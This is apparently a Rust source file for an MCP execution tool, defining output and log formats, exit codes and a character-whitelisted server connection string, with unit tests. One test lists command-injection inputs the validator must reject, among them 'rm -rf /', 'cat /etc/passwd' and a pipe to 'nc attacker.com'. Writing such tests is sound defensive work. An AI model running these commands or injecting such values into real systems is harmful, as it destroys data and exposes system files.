use std::fmt;
use std::str::FromStr;
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Default)]
pub enum OutputFormat {
Json,
Text,
#[default]
Pretty,
}
impl OutputFormat {
#[must_use]
pub const fn as_str(&self) -> &'static str {
match self {
Self::Json => "json",
Self::Text => "text",
Self::Pretty => "pretty",
}
}
}
impl fmt::Display for OutputFormat {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
f.write_str(self.as_str())
}
}
impl FromStr for OutputFormat {
type Err = crate::Error;
fn from_str(s: &str) -> Result<Self, Self::Err> {
match s.to_lowercase().as_str() {
"json" => Ok(Self::Json),
"text" => Ok(Self::Text),
"pretty" => Ok(Self::Pretty),
_ => Err(crate::Error::InvalidArgument(format!(
"invalid output format: '{s}' (expected: json, text, or pretty)"
))),
}
}
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
pub struct ExitCode(i32);
impl ExitCode {
pub const SUCCESS: Self = Self(0);
pub const ERROR: Self = Self(1);
pub const INVALID_INPUT: Self = Self(2);
pub const SERVER_ERROR: Self = Self(3);
pub const TIMEOUT: Self = Self(4);
#[must_use]
pub const fn from_i32(code: i32) -> Option<Self> {
if matches!(code, 0..=255) {
Some(Self(code))
} else {
None
}
}
#[must_use]
pub const fn as_i32(&self) -> i32 {
self.0
}
#[must_use]
pub const fn is_success(&self) -> bool {
self.0 == 0
}
}
impl Default for ExitCode {
fn default() -> Self {
Self::SUCCESS
}
}
impl From<ExitCode> for i32 {
fn from(code: ExitCode) -> Self {
code.0
}
}
impl fmt::Display for ExitCode {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "{}", self.0)
}
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Default)]
pub enum LogFormat {
#[default]
Text,
Json,
}
impl LogFormat {
#[must_use]
pub const fn as_str(&self) -> &'static str {
match self {
Self::Text => "text",
Self::Json => "json",
}
}
#[must_use]
pub fn resolve(flag: Option<Self>, env_value: Option<&str>) -> Self {
flag.or_else(|| env_value.and_then(Self::parse_env))
.unwrap_or_default()
}
#[must_use]
pub fn parse_env(raw: &str) -> Option<Self> {
let trimmed = raw.trim();
if trimmed.is_empty() {
return None;
}
trimmed.parse().ok()
}
#[must_use]
pub fn is_invalid_env_value(raw: &str) -> bool {
!raw.trim().is_empty() && Self::parse_env(raw).is_none()
}
}
impl fmt::Display for LogFormat {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
f.write_str(self.as_str())
}
}
impl FromStr for LogFormat {
type Err = crate::Error;
fn from_str(s: &str) -> Result<Self, Self::Err> {
match s.to_lowercase().as_str() {
"text" => Ok(Self::Text),
"json" => Ok(Self::Json),
_ => Err(crate::Error::InvalidArgument(format!(
"invalid log format: '{s}' (expected: text or json)"
))),
}
}
}
pub const LOG_FORMAT_ENV_VAR: &str = "MCP_EXECUTION_LOG_FORMAT";
#[derive(Debug, Clone, PartialEq, Eq, Hash)]
pub struct ServerConnectionString(String);
impl ServerConnectionString {
pub fn new(s: impl Into<String>) -> crate::Result<Self> {
const ALLOWED_CHARS: &str =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_./:";
let s = s.into();
if s.chars().any(|c| c.is_control() && c != ' ') {
return Err(crate::Error::InvalidArgument(
"server connection string cannot contain control characters".to_string(),
));
}
let trimmed = s.trim();
if trimmed.is_empty() {
return Err(crate::Error::InvalidArgument(
"server connection string cannot be empty".to_string(),
));
}
if !trimmed.chars().all(|c| ALLOWED_CHARS.contains(c)) {
return Err(crate::Error::InvalidArgument(
"server connection string contains invalid characters (allowed: a-z, A-Z, 0-9, -, _, ., /, :)".to_string(),
));
}
if trimmed.len() > 256 {
return Err(crate::Error::InvalidArgument(
"server connection string too long (max 256 characters)".to_string(),
));
}
Ok(Self(trimmed.to_string()))
}
#[must_use]
pub fn as_str(&self) -> &str {
&self.0
}
}
impl fmt::Display for ServerConnectionString {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "{}", self.0)
}
}
impl FromStr for ServerConnectionString {
type Err = crate::Error;
fn from_str(s: &str) -> Result<Self, Self::Err> {
Self::new(s)
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_output_format_as_str() {
assert_eq!(OutputFormat::Json.as_str(), "json");
assert_eq!(OutputFormat::Text.as_str(), "text");
assert_eq!(OutputFormat::Pretty.as_str(), "pretty");
}
#[test]
fn test_output_format_default() {
assert_eq!(OutputFormat::default(), OutputFormat::Pretty);
}
#[test]
fn test_output_format_from_str_valid() {
assert_eq!("json".parse::<OutputFormat>().unwrap(), OutputFormat::Json);
assert_eq!("text".parse::<OutputFormat>().unwrap(), OutputFormat::Text);
assert_eq!(
"pretty".parse::<OutputFormat>().unwrap(),
OutputFormat::Pretty
);
assert_eq!("JSON".parse::<OutputFormat>().unwrap(), OutputFormat::Json);
assert_eq!("TEXT".parse::<OutputFormat>().unwrap(), OutputFormat::Text);
assert_eq!(
"PRETTY".parse::<OutputFormat>().unwrap(),
OutputFormat::Pretty
);
}
#[test]
fn test_output_format_from_str_invalid() {
assert!("invalid".parse::<OutputFormat>().is_err());
assert!("".parse::<OutputFormat>().is_err());
assert!("xml".parse::<OutputFormat>().is_err());
}
#[test]
fn test_output_format_display() {
assert_eq!(OutputFormat::Json.to_string(), "json");
assert_eq!(OutputFormat::Text.to_string(), "text");
assert_eq!(OutputFormat::Pretty.to_string(), "pretty");
}
#[test]
fn test_exit_code_constants() {
assert_eq!(ExitCode::SUCCESS.as_i32(), 0);
assert_eq!(ExitCode::ERROR.as_i32(), 1);
assert_eq!(ExitCode::INVALID_INPUT.as_i32(), 2);
assert_eq!(ExitCode::SERVER_ERROR.as_i32(), 3);
assert_eq!(ExitCode::TIMEOUT.as_i32(), 4);
}
#[test]
fn test_exit_code_from_i32() {
assert_eq!(ExitCode::from_i32(0), Some(ExitCode::SUCCESS));
assert_eq!(ExitCode::from_i32(1), Some(ExitCode::ERROR));
assert_eq!(ExitCode::from_i32(42).unwrap().as_i32(), 42);
}
#[test]
fn test_exit_code_from_i32_rejects_out_of_range() {
assert_eq!(ExitCode::from_i32(-1), None);
assert_eq!(ExitCode::from_i32(256), None);
assert_eq!(ExitCode::from_i32(i32::MIN), None);
assert_eq!(ExitCode::from_i32(i32::MAX), None);
}
#[test]
fn test_exit_code_from_i32_accepts_boundaries() {
assert_eq!(ExitCode::from_i32(0).unwrap().as_i32(), 0);
assert_eq!(ExitCode::from_i32(255).unwrap().as_i32(), 255);
}
#[test]
fn test_exit_code_is_success() {
assert!(ExitCode::SUCCESS.is_success());
assert!(!ExitCode::ERROR.is_success());
assert!(!ExitCode::INVALID_INPUT.is_success());
assert!(!ExitCode::from_i32(42).unwrap().is_success());
}
#[test]
fn test_exit_code_default() {
assert_eq!(ExitCode::default(), ExitCode::SUCCESS);
}
#[test]
fn test_exit_code_into_i32() {
let code = ExitCode::ERROR;
let value: i32 = code.into();
assert_eq!(value, 1);
}
#[test]
fn test_exit_code_display() {
assert_eq!(ExitCode::SUCCESS.to_string(), "0");
assert_eq!(ExitCode::ERROR.to_string(), "1");
}
#[test]
fn test_log_format_as_str() {
assert_eq!(LogFormat::Text.as_str(), "text");
assert_eq!(LogFormat::Json.as_str(), "json");
}
#[test]
fn test_log_format_default() {
assert_eq!(LogFormat::default(), LogFormat::Text);
}
#[test]
fn test_log_format_from_str_valid_case_insensitive() {
assert_eq!("text".parse::<LogFormat>().unwrap(), LogFormat::Text);
assert_eq!("JSON".parse::<LogFormat>().unwrap(), LogFormat::Json);
assert_eq!("Json".parse::<LogFormat>().unwrap(), LogFormat::Json);
}
#[test]
fn test_log_format_from_str_invalid() {
assert!("xml".parse::<LogFormat>().is_err());
assert!("".parse::<LogFormat>().is_err());
}
#[test]
fn test_log_format_display() {
assert_eq!(LogFormat::Text.to_string(), "text");
assert_eq!(LogFormat::Json.to_string(), "json");
}
#[test]
fn test_log_format_resolve_flag_wins_over_valid_env() {
assert_eq!(
LogFormat::resolve(Some(LogFormat::Json), Some("text")),
LogFormat::Json
);
}
#[test]
fn test_log_format_resolve_flag_wins_over_bad_env() {
assert_eq!(
LogFormat::resolve(Some(LogFormat::Text), Some("xml")),
LogFormat::Text
);
}
#[test]
fn test_log_format_resolve_env_used_when_flag_none() {
assert_eq!(LogFormat::resolve(None, Some("json")), LogFormat::Json);
}
#[test]
fn test_log_format_resolve_env_case_insensitive() {
assert_eq!(LogFormat::resolve(None, Some("JSON")), LogFormat::Json);
}
#[test]
fn test_log_format_resolve_no_flag_no_env_defaults_to_text() {
assert_eq!(LogFormat::resolve(None, None), LogFormat::Text);
}
#[test]
fn test_log_format_resolve_empty_or_whitespace_env_treated_as_unset() {
assert_eq!(LogFormat::resolve(None, Some("")), LogFormat::Text);
assert_eq!(LogFormat::resolve(None, Some(" ")), LogFormat::Text);
}
#[test]
fn test_log_format_resolve_unknown_env_falls_back_to_default() {
assert_eq!(LogFormat::resolve(None, Some("xml")), LogFormat::Text);
}
#[test]
fn test_log_format_parse_env_valid_case_insensitive() {
assert_eq!(LogFormat::parse_env("text"), Some(LogFormat::Text));
assert_eq!(LogFormat::parse_env("JSON"), Some(LogFormat::Json));
assert_eq!(LogFormat::parse_env("Json"), Some(LogFormat::Json));
}
#[test]
fn test_log_format_parse_env_empty_or_whitespace_is_none() {
assert_eq!(LogFormat::parse_env(""), None);
assert_eq!(LogFormat::parse_env(" "), None);
}
#[test]
fn test_log_format_parse_env_invalid_is_none() {
assert_eq!(LogFormat::parse_env("xml"), None);
}
#[test]
fn test_log_format_is_invalid_env_value_true_for_unparseable_non_empty_value() {
assert!(LogFormat::is_invalid_env_value("xml"));
}
#[test]
fn test_log_format_is_invalid_env_value_false_for_valid_value() {
assert!(!LogFormat::is_invalid_env_value("json"));
assert!(!LogFormat::is_invalid_env_value("TEXT"));
}
#[test]
fn test_log_format_is_invalid_env_value_false_for_empty_or_whitespace() {
assert!(!LogFormat::is_invalid_env_value(""));
assert!(!LogFormat::is_invalid_env_value(" "));
}
#[test]
fn test_server_connection_string_valid() {
let conn = ServerConnectionString::new("github").unwrap();
assert_eq!(conn.as_str(), "github");
let conn = ServerConnectionString::new("my-server-123").unwrap();
assert_eq!(conn.as_str(), "my-server-123");
}
#[test]
fn test_server_connection_string_trims_whitespace() {
let conn = ServerConnectionString::new(" server ").unwrap();
assert_eq!(conn.as_str(), "server");
assert!(ServerConnectionString::new("\tserver\n").is_err());
}
#[test]
fn test_server_connection_string_rejects_empty() {
assert!(ServerConnectionString::new("").is_err());
assert!(ServerConnectionString::new(" ").is_err());
assert!(ServerConnectionString::new("\t\n").is_err());
}
#[test]
fn test_server_connection_string_from_str() {
let conn: ServerConnectionString = "server".parse().unwrap();
assert_eq!(conn.as_str(), "server");
assert!("".parse::<ServerConnectionString>().is_err());
}
#[test]
fn test_server_connection_string_display() {
let conn = ServerConnectionString::new("test-server").unwrap();
assert_eq!(conn.to_string(), "test-server");
}
#[test]
fn test_server_connection_string_command_injection() {
assert!(ServerConnectionString::new("server && rm -rf /").is_err());
assert!(ServerConnectionString::new("server; cat /etc/passwd").is_err());
assert!(ServerConnectionString::new("server | nc attacker.com").is_err());
assert!(ServerConnectionString::new("server $(malicious)").is_err());
assert!(ServerConnectionString::new("server `whoami`").is_err());
assert!(ServerConnectionString::new("server & background").is_err());
}
#[test]
fn test_server_connection_string_control_chars() {
assert!(ServerConnectionString::new("server\r\n").is_err());
assert!(ServerConnectionString::new("server\0").is_err());
assert!(ServerConnectionString::new("server\t").is_err());
}
#[test]
fn test_server_connection_string_valid_chars() {
assert!(ServerConnectionString::new("github").is_ok());
assert!(ServerConnectionString::new("my_server").is_ok());
assert!(ServerConnectionString::new("server-123").is_ok());
assert!(ServerConnectionString::new("localhost:8080").is_ok());
assert!(ServerConnectionString::new("example.com/path").is_ok());
}
#[test]
fn test_server_connection_string_length_limit() {
let valid = "a".repeat(256);
assert!(ServerConnectionString::new(&valid).is_ok());
let too_long = "a".repeat(257);
assert!(ServerConnectionString::new(&too_long).is_err());
}
}